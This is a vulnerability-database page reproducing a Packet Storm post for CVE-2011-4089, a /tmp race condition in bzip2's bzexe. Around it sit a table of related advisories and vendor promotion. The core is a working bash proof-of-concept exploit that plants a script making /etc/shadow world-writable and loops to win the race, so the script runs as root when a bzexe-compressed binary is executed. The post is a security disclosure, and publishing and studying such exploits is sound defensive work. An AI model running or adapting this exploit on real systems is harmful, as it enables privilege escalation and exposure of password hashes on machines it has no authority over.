Lucene search
K

bzexe /tmp Race Condition

🗓️ 06 Nov 2011 00:00:00Reported by Larry W. CashdollarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

Exploit through 'bzexe /tmp Race Condition'

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-4089
23 Nov 201100:00
circl
CVE
CVE-2011-4089
16 Apr 201418:00
cve
Cvelist
CVE-2011-4089
16 Apr 201418:00
cvelist
Debian CVE
CVE-2011-4089
16 Apr 201418:00
debiancve
EUVD
EUVD-2011-4040
7 Oct 202500:30
euvd
NVD
CVE-2011-4089
16 Apr 201418:37
nvd
OpenVAS
Ubuntu: Security Advisory (USN-1308-1)
16 Dec 201100:00
openvas
OpenVAS
Ubuntu Update for bzip2 USN-1308-1
16 Dec 201100:00
openvas
OSV
DEBIAN-CVE-2011-4089
16 Apr 201418:37
osv
Prion
Directory traversal
16 Apr 201418:37
prion
Rows per page
`Hi Packetstorm,  
  
This PoC exploit was developed after a discussion on Full-disclosure  
mailing list, where  
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=632862  
was proved to be exploitable. A user can wait until a binary that was  
compressed with bzexe is run by root and execute /tmp/exec. This  
could be used  
to gain access as any user executing bzexe compressed binary as well.  
  
It's probably not common to have binaries compressed unless your on an  
imbedded system.  
  
---- Begin------  
#!/bin/bash  
#gain root on a system using bzexe to compress binaries  
#/tmp/exec will be executed as user executing if we win the race.  
#Larry W. Cashdollar http://www.downspout.org (credit vladz with discovery)  
#http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=632862  
#create /tmp/exec before hand  
  
#echo "Creating malicious script."  
  
echo "#!/bin/sh" > /tmp/exec  
echo "chmod 777 /etc/shadow" >> /tmp/exec  
chmod 755 /tmp/exec  
  
mkdir /tmp/$1  
while true ;  
do  
if [ -a /tmp/$1/gztmp* ]  
then  
# echo "Exploting bzexe."  
mv /tmp/$1 /tmp/$1.dir  
# echo "Copying our evil code into place."  
cp /tmp/exec /tmp/$1  
fi  
done  
  
  
--- End---  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation